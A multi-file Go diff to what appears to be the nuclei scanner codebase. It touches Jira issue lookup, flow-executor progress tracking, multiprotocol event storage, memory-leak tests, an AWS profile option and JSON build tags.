jiraClient, err := jira.NewClient(httpclient, options.URL)
if options.HttpClient != nil {
tp.Transport = options.HttpClient.HTTPClient.Transport
}
jiraClient, err := jira.NewClient(tp.Client(), options.URL)
if err != nil {
return nil, err
}
@@ -259,7 +240,7 @@ func getIssueResponseFromJira(issue *jira.Issue) (*filters.CreateIssueResponse,
// CreateIssue creates an issue in the tracker or updates the existing one
func (i *Integration) CreateIssue(event *output.ResultEvent) (*filters.CreateIssueResponse, error) {
if i.options.UpdateExisting {
issue, err := i.FindExistingIssue(event, true)
issue, err := i.FindExistingIssue(event)
if err != nil {
return nil, errors.Wrap(err, "could not find existing issue")
} else if issue.ID != "" {
@@ -284,7 +265,7 @@ func (i *Integration) CloseIssue(event *output.ResultEvent) error {
return nil
}
issue, err := i.FindExistingIssue(event, false)
issue, err := i.FindExistingIssue(event)
if err != nil {
return err
} else if issue.ID != "" {
@@ -319,16 +300,13 @@ func (i *Integration) CloseIssue(event *output.ResultEvent) error {
}
// FindExistingIssue checks if the issue already exists and returns its ID
func (i *Integration) FindExistingIssue(event *output.ResultEvent, useStatus bool) (jira.Issue, error) {
func (i *Integration) FindExistingIssue(event *output.ResultEvent) (jira.Issue, error) {
template := format.GetMatchedTemplateName(event)
project := i.options.ProjectName
if i.options.ProjectID != "" {
project = i.options.ProjectID
}
jql := fmt.Sprintf("summary ~ \"%s\" AND summary ~ \"%s\" AND project = \"%s\"", template, event.Host, project)
if useStatus {
jql = fmt.Sprintf("%s AND status != \"%s\"", jql, i.options.StatusNot)
}
jql := fmt.Sprintf("summary ~ \"%s\" AND summary ~ \"%s\" AND status != \"%s\" AND project = \"%s\"", template, event.Host, i.options.StatusNot, project)
searchOptions := &jira.SearchOptions{
MaxResults: 1, // if any issue exists, then we won't create a new one
+2 -2
View File
@@ -317,7 +317,7 @@ func (template *Template) MarshalYAML() ([]byte, error) {
return out, multierr.Append(marshalErr, errValidate)
}
// UnmarshalYAML forces recursive struct validation after unmarshal operation
// MarshalYAML forces recursive struct validation after unmarshal operation
func (template *Template) UnmarshalYAML(unmarshal func(interface{}) error) error {
type Alias Template
alias := &Alias{}
@@ -475,7 +475,7 @@ func (template *Template) GetFileImports() []string {
return template.ImportedFiles
}
// addRequestsToQueue adds protocol requests to the queue and preserves order of the protocols and requests
// addProtocolsToQueue adds protocol requests to the queue and preserves order of the protocols and requests
func (template *Template) addRequestsToQueue(keys ...string) {
for _, key := range keys {
switch key {
-4
View File
@@ -133,10 +133,6 @@ func (m *MockOutputWriter) Colorizer() aurora.Aurora {
return m.aurora
}
func (m *MockOutputWriter) ResultCount() int {
return 0
}
// Write writes the event to file and/or screen.
func (m *MockOutputWriter) Write(result *output.ResultEvent) error {
if m.WriteCallback != nil {
+1 -3
View File
@@ -215,10 +215,8 @@ func (e *TemplateExecuter) Execute(ctx *scan.ScanContext) (bool, error) {
if lastMatcherEvent != nil {
lastMatcherEvent.Lock()
defer lastMatcherEvent.Unlock()
lastMatcherEvent.InternalEvent["error"] = getErrorCause(ctx.GenerateErrorMessage())
lastMatcherEvent.Unlock()
writeFailureCallback(lastMatcherEvent, e.options.Options.MatcherStatus)
}
-16
View File
@@ -51,8 +51,6 @@ type FlowExecutor struct {
// these are keys whose values are meant to be flatten before executing
// a request ex: if dynamic extractor returns ["value"] it will be converted to "value"
flattenKeys []string
executed *mapsutil.SyncLockMap[string, struct{}]
}
// NewFlowExecutor creates a new flow executor from a list of requests
@@ -100,7 +98,6 @@ func NewFlowExecutor(requests []protocols.Request, ctx *scan.ScanContext, option
results: results,
ctx: ctx,
program: program,
executed: mapsutil.NewSyncLockMap[string, struct{}](),
}
return f, nil
}
@@ -246,7 +243,6 @@ func (f *FlowExecutor) ExecuteWithResults(ctx *scan.ScanContext) error {
// pass flow and execute the js vm and handle errors
_, err := runtime.RunProgram(f.program)
f.reconcileProgress()
if err != nil {
ctx.LogError(err)
return errorutil.NewWithErr(err).Msgf("failed to execute flow\n%v\n", f.options.Flow)
@@ -260,18 +256,6 @@ func (f *FlowExecutor) ExecuteWithResults(ctx *scan.ScanContext) error {
return nil
}
func (f *FlowExecutor) reconcileProgress() {
for proto, list := range f.allProtocols {
for idx, req := range list {
key := requestKey(proto, req, strconv.Itoa(idx+1))
if _, seen := f.executed.Get(key); !seen {
// never executed → pretend it finished so that stats match
f.options.Progress.SetRequests(uint64(req.Requests()))
}
}
}
}
// GetRuntimeErrors returns all runtime errors (i.e errors from all protocol combined)
func (f *FlowExecutor) GetRuntimeErrors() error {
errs := []error{}
-9
View File
@@ -75,8 +75,6 @@ func (f *FlowExecutor) requestExecutor(runtime *goja.Runtime, reqMap mapsutil.Ma
}
}
err := req.ExecuteWithResults(inputItem, output.InternalEvent(f.options.GetTemplateCtx(f.ctx.Input.MetaInput).GetAll()), output.InternalEvent{}, f.protocolResultCallback(req, matcherStatus, opts))
// Mark the request as seen
_ = f.executed.Set(requestKey(opts.protoName, req, id), struct{}{})
if err != nil {
index := id
err = f.allErrs.Set(opts.protoName+":"+index, err)
@@ -88,13 +86,6 @@ func (f *FlowExecutor) requestExecutor(runtime *goja.Runtime, reqMap mapsutil.Ma
return matcherStatus.Load()
}
func requestKey(proto string, req protocols.Request, id string) string {
if id == "" {
id = req.GetID()
}
return proto + ":" + id
}
// protocolResultCallback returns a callback that is executed
// after execution of each protocol request
func (f *FlowExecutor) protocolResultCallback(req protocols.Request, matcherStatus *atomic.Bool, _ *ProtoOptions) func(result *output.InternalWrappedEvent) {
+1 -43
View File
@@ -3,7 +3,6 @@ package multiproto
import (
"strconv"
"strings"
"sync"
"sync/atomic"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
@@ -15,12 +14,6 @@ import (
stringsutil "github.com/projectdiscovery/utils/strings"
)
var builderPool = sync.Pool{
New: func() any {
return &strings.Builder{}
},
}
// Mutliprotocol is a template executer engine that executes multiple protocols
// with logic in between
type MultiProtocol struct {
@@ -71,32 +64,6 @@ func (m *MultiProtocol) ExecuteWithResults(ctx *scan.ScanContext) error {
previous := mapsutil.NewSyncLockMap[string, any]()
// This map contains a list of keys to explicitly include for storage in the `previous`
// event map. This is a security and performance measure to prevent memory exhaustion.
// Only small, scalar values should be included here. If a user needs a larger value
// from a previous request (like a body or header), they must use an `extractor` with `internal: true`.
var includeInPrevious = map[string]struct{}{
// Generic
"host": {},
"port": {},
"path": {},
"scheme": {},
"url": {},
"ip": {},
"type": {},
"matched-at": {},
// HTTP
"status_code": {},
"content_length": {},
"content_type": {},
// DNS
"rcode": {},
"question": {},
"qtype": {},
}
// template context: contains values extracted using `internal` extractor from previous protocols
// these values are extracted from each protocol in queue and are passed to next protocol in queue
// instead of adding seperator field to handle such cases these values are appended to `dynamicValues` (which are meant to be used in workflows)
@@ -125,17 +92,8 @@ func (m *MultiProtocol) ExecuteWithResults(ctx *scan.ScanContext) error {
ID := req.GetID()
if ID != "" {
builder := builderPool.Get().(*strings.Builder)
builder.Reset()
defer builderPool.Put(builder)
builder := &strings.Builder{}
for k, v := range event.InternalEvent {
// Only store keys that are explicitly on the include list.
// This is a critical optimization to prevent memory exhaustion.
if _, included := includeInPrevious[k]; !included {
continue
}
builder.WriteString(ID)
builder.WriteString("_")
builder.WriteString(k)
-359
View File
@@ -2,11 +2,8 @@ package multiproto_test
import (
"context"
"fmt"
"log"
"os"
"runtime"
"sync"
"testing"
"time"
@@ -26,57 +23,6 @@ import (
var executerOpts protocols.ExecutorOptions
// MemorySnapshot represents a point-in-time memory measurement
type MemorySnapshot struct {
Timestamp time.Time
Alloc uint64
TotalAlloc uint64
Sys uint64
NumGC uint32
}
// TakeMemorySnapshot captures current memory statistics
func TakeMemorySnapshot() *MemorySnapshot {
var stats runtime.MemStats
runtime.ReadMemStats(&stats)
return &MemorySnapshot{
Timestamp: time.Now(),
Alloc: stats.Alloc,
TotalAlloc: stats.TotalAlloc,
Sys: stats.Sys,
NumGC: stats.NumGC,
}
}
// MemoryDiff represents the difference between two memory snapshots
type MemoryDiff struct {
Duration time.Duration
AllocDiff int64
TotalDiff int64
SysDiff int64
GCDiff int64
}
// Compare compares two memory snapshots and returns the difference
func (s *MemorySnapshot) Compare(other *MemorySnapshot) *MemoryDiff {
return &MemoryDiff{
Duration: other.Timestamp.Sub(s.Timestamp),
AllocDiff: int64(other.Alloc) - int64(s.Alloc),
TotalDiff: int64(other.TotalAlloc) - int64(s.TotalAlloc),
SysDiff: int64(other.Sys) - int64(s.Sys),
GCDiff: int64(other.NumGC) - int64(s.NumGC),
}
}
// String returns a formatted string representation of the memory difference
func (d *MemoryDiff) String() string {
return fmt.Sprintf(
"Duration: %v, Alloc: %+d bytes (%+.2f MB), Total: %+d bytes, Sys: %+d bytes, GC: %+d",
d.Duration, d.AllocDiff, float64(d.AllocDiff)/1024/1024, d.TotalDiff, d.SysDiff, d.GCDiff,
)
}
func setup() {
options := testutils.DefaultOptions
testutils.Init(options)
@@ -101,311 +47,6 @@ func setup() {
executerOpts.WorkflowLoader = workflowLoader
}
// Helper function to create a test template execution
func executeTemplate(templatePath string, target string) error {
template, err := templates.Parse(templatePath, nil, executerOpts)
if err != nil {
return fmt.Errorf("could not parse template: %w", err)
}
err = template.Executer.Compile()
if err != nil {
return fmt.Errorf("could not compile template: %w", err)
}
input := contextargs.NewWithInput(context.Background(), target)
ctx := scan.NewScanContext(context.Background(), input)
_, err = template.Executer.Execute(ctx)
if err != nil {
return fmt.Errorf("could not execute template: %w", err)
}
return nil
}
// TestMemoryLeakDetection tests for memory leaks in multiprotocol execution
func TestMemoryLeakDetection(t *testing.T) {
tests := []struct {
name string
templatePath string
target string
numExecutions int
maxMemoryMB int
description string
}{
{
name: "SmallScale_DynamicExtractor",
templatePath: "testcases/multiprotodynamic.yaml",
target: "http://scanme.sh",
numExecutions: 10,
maxMemoryMB: 10,
description: "Basic memory leak detection with dynamic extractor",
},
{
name: "MediumScale_ProtoPrefix",
templatePath: "testcases/multiprotowithprefix.yaml",
target: "https://cloud.projectdiscovery.io/sign-in",
numExecutions: 50,
maxMemoryMB: 25,
description: "Medium scale execution with protocol prefix",
},
{
name: "LargeScale_Mixed",
templatePath: "testcases/multiprotodynamic.yaml",
target: "http://scanme.sh",
numExecutions: 100,
maxMemoryMB: 50,
description: "Large scale execution for memory leak detection",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// Force GC and get baseline
runtime.GC()
runtime.GC() // Call twice to ensure cleanup
time.Sleep(100 * time.Millisecond) // Allow GC to complete
baseline := TakeMemorySnapshot()
t.Logf("Baseline memory: Alloc=%d bytes (%.2f MB)",
baseline.Alloc, float64(baseline.Alloc)/1024/1024)
// Execute multiple times
for i := 0; i < tt.numExecutions; i++ {
err := executeTemplate(tt.templatePath, tt.target)
if err != nil {
t.Logf("Execution %d failed (continuing): %v", i, err)
continue
}
// Periodic memory checks
if i%10 == 0 && i > 0 {
runtime.GC()
current := TakeMemorySnapshot()
diff := baseline.Compare(current)
memoryMB := float64(diff.AllocDiff) / 1024 / 1024
t.Logf("Execution %d: %s", i, diff.String())
if memoryMB > float64(tt.maxMemoryMB) {
t.Errorf("Memory usage exceeded limit: %.2f MB > %d MB",
memoryMB, tt.maxMemoryMB)
}
}
}
// Final memory check
runtime.GC()
runtime.GC()
time.Sleep(100 * time.Millisecond)
final := TakeMemorySnapshot()
finalDiff := baseline.Compare(final)
finalMemoryMB := float64(finalDiff.AllocDiff) / 1024 / 1024
t.Logf("Final memory analysis: %s", finalDiff.String())
if finalMemoryMB > float64(tt.maxMemoryMB) {
t.Errorf("Final memory usage exceeded limit: %.2f MB > %d MB",
finalMemoryMB, tt.maxMemoryMB)
} else {
t.Logf("✅ Memory usage within acceptable limits: %.2f MB <= %d MB",
finalMemoryMB, tt.maxMemoryMB)
}
})
}
}
// TestTemplateContextCleanup verifies that template contexts are properly cleaned up
func TestTemplateContextCleanup(t *testing.T) {
// Create executor options with template context store
opts := executerOpts
opts.CreateTemplateCtxStore()
template, err := templates.Parse("testcases/multiprotodynamic.yaml", nil, opts)
require.NoError(t, err, "could not parse template")
err = template.Executer.Compile()
require.NoError(t, err, "could not compile template")
// Create multiple contexts and execute
numContexts := 20
inputs := make([]*contextargs.Context, numContexts)
for i := 0; i < numContexts; i++ {
target := fmt.Sprintf("http://test%d.example.com", i)
inputs[i] = contextargs.NewWithInput(context.Background(), target)
ctx := scan.NewScanContext(context.Background(), inputs[i])
_, err := template.Executer.Execute(ctx)
if err != nil {
t.Logf("Execution %d failed (continuing): %v", i, err)
}
}
// Verify contexts exist
contextCount := 0
for _, input := range inputs {
if opts.HasTemplateCtx(input.MetaInput) {
contextCount++
}
}
t.Logf("Active template contexts: %d", contextCount)
// Clean up contexts manually (simulating proper cleanup)
for _, input := range inputs {
opts.RemoveTemplateCtx(input.MetaInput)
}
// Verify cleanup
remainingContexts := 0
for _, input := range inputs {
if opts.HasTemplateCtx(input.MetaInput) {
remainingContexts++
}
}
if remainingContexts > 0 {
t.Errorf("Template contexts not properly cleaned up: %d remaining", remainingContexts)
} else {
t.Logf("✅ All template contexts properly cleaned up")
}
}
// TestConcurrentExecution tests memory usage under concurrent execution
func TestConcurrentExecution(t *testing.T) {
if testing.Short() {
t.Skip("Skipping concurrent test in short mode")
}
const (
numGoroutines = 5
numExecutions = 20
maxMemoryMB = 100
)
baseline := TakeMemorySnapshot()
var wg sync.WaitGroup
errChan := make(chan error, numGoroutines)
// Start concurrent executions
for i := 0; i < numGoroutines; i++ {
wg.Add(1)
go func(id int) {
defer wg.Done()
for j := 0; j < numExecutions; j++ {
target := fmt.Sprintf("http://test%d-%d.example.com", id, j)
err := executeTemplate("testcases/multiprotodynamic.yaml", target)
if err != nil {
t.Logf("Goroutine %d execution %d failed: %v", id, j, err)
continue
}
// Periodic memory check
if j%5 == 0 {
var stats runtime.MemStats
runtime.ReadMemStats(&stats)
memoryMB := float64(stats.Alloc) / 1024 / 1024
if memoryMB > maxMemoryMB {
errChan <- fmt.Errorf("goroutine %d: memory exceeded: %.2f MB", id, memoryMB)
return
}
}
}
}(i)
}
// Wait for completion with timeout
done := make(chan struct{})
go func() {
wg.Wait()
close(done)
}()
select {
case err := <-errChan:
t.Fatal(err)
case <-done:
runtime.GC()
final := TakeMemorySnapshot()
diff := baseline.Compare(final)
t.Logf("✅ Concurrent execution completed successfully: %s", diff.String())
case <-time.After(2 * time.Minute):
t.Fatal("Test timed out")
}
}
// BenchmarkMultiProtocolExecution benchmarks multiprotocol execution performance
func BenchmarkMultiProtocolExecution(b *testing.B) {
benchmarks := []struct {
name string
templatePath string
target string
}{
{
name: "DynamicExtractor",
templatePath: "testcases/multiprotodynamic.yaml",
target: "http://scanme.sh",
},
{
name: "ProtoPrefix",
templatePath: "testcases/multiprotowithprefix.yaml",
target: "https://example.com",
},
}
for _, bm := range benchmarks {
b.Run(bm.name, func(b *testing.B) {
template, err := templates.Parse(bm.templatePath, nil, executerOpts)
if err != nil {
b.Fatalf("could not parse template: %v", err)
}
err = template.Executer.Compile()
if err != nil {
b.Fatalf("could not compile template: %v", err)
}
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
input := contextargs.NewWithInput(context.Background(), bm.target)
ctx := scan.NewScanContext(context.Background(), input)
_, err := template.Executer.Execute(ctx)
if err != nil {
b.Logf("Execution failed (continuing): %v", err)
}
}
})
}
}
// BenchmarkMemoryAllocation specifically benchmarks memory allocation patterns
func BenchmarkMemoryAllocation(b *testing.B) {
template, err := templates.Parse("testcases/multiprotodynamic.yaml", nil, executerOpts)
if err != nil {
b.Fatalf("could not parse template: %v", err)
}
err = template.Executer.Compile()
if err != nil {
b.Fatalf("could not compile template: %v", err)
}
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
input := contextargs.NewWithInput(context.Background(), "http://scanme.sh")
ctx := scan.NewScanContext(context.Background(), input)
_, _ = template.Executer.Execute(ctx)
}
}
func TestMultiProtoWithDynamicExtractor(t *testing.T) {
Template, err := templates.Parse("testcases/multiprotodynamic.yaml", nil, executerOpts)
require.Nil(t, err, "could not parse template")
-2
View File
@@ -345,8 +345,6 @@ type Options struct {
GitLabTemplateRepositoryIDs []int
// GitLabTemplateDisableDownload disables downloading templates from custom GitLab repositories
GitLabTemplateDisableDownload bool
// AWS access profile from ~/.aws/credentials file for downloading templates from S3 bucket
AwsProfile string
// AWS access key for downloading templates from S3 bucket
AwsAccessKey string
// AWS secret key for downloading templates from S3 bucket
+2 -2
View File
@@ -1,8 +1,8 @@
// Package json provides fast JSON encoding and decoding functionality.
//
// On supported platforms; Linux, Darwin, or Windows on amd64, or on arm64 with
// Go >= 1.20 and <= 1.23, the package uses the high-performance [sonic] library.
// On any other systems, it gracefully falls back to using the [go-json]
// Go 1.20 or later, the package uses the high-performance [sonic] library. On
// any other systems, it gracefully falls back to using the [go-json]
// implementation.
//
// This package acts as a wrapper around the underlying JSON APIs, offering
+1 -2
View File
@@ -1,5 +1,4 @@
//go:build !go1.24 && (linux || darwin || windows) && (amd64 || arm64)
// +build !go1.24
//go:build (linux || darwin || windows) && (amd64 || arm64)
// +build linux darwin windows
// +build amd64 arm64
+2 -2
View File
@@ -1,5 +1,5 @@
//go:build go1.24 || !(linux || darwin || windows) || !(amd64 || arm64)
// +build go1.24 !linux,!darwin,!windows !amd64,!arm64
//go:build !((linux || darwin || windows) && (amd64 || arm64))
// +build !linux,!darwin,!windows !amd64,!arm64
package json